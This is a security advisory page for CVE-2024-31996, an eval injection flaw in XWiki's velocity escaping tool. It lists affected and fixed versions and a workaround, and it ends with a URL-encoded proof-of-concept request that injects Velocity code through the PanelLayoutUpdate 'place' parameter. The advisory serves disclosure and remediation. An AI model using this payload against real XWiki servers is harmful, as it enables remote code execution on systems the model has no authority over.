Eval Injection Affecting org.xwiki.commons:xwiki-commons-velocity package, versions [,14.10.19)[15.0-rc-1,15.5.4)[15.6-rc-1,15.9-rc-1)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.3% (70th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Eval Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGXWIKICOMMONS-6595836
  • published11 Apr 2024
  • disclosed10 Apr 2024
  • creditUnknown

Introduced: 10 Apr 2024

CVE-2024-31996  (opens in a new tab)
CWE-95  (opens in a new tab)

How to fix?

Upgrade org.xwiki.commons:xwiki-commons-velocity to version 14.10.19, 15.5.4, 15.9-rc-1 or higher.

Overview

Affected versions of this package are vulnerable to Eval Injection due to not escaping { in the Velocity escapetool. An attacker can inject XWiki syntax, leading to remote code execution by exploiting the HTML escaping tool's inability to escape {.

Workaround

This vulnerability can be mitigated by replacing $escapetool.html with $escapetool.xml in XWiki documents. Specifically, patching the Panels.PanelLayoutUpdate document addresses this vulnerability in standard installations. Extensions that utilize the vulnerable functionality may also require patching.

PoC

<xwiki-host>/xwiki/bin/view/Panels/PanelLayoutUpdate?place=%7B%7B%2Fhtml%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bvelocity%7D%7D%23evaluate(%24request.eval)%7B%7B%2Fvelocity%7D%7D%7B%7B%2Fasync%7D%7D&eval=Hello%20from%20URL%20Parameter!%20I%20got%20programming%3A%20%24services.security.authorization.hasAccess(%27programming%27)

CVSS Scores

version 3.1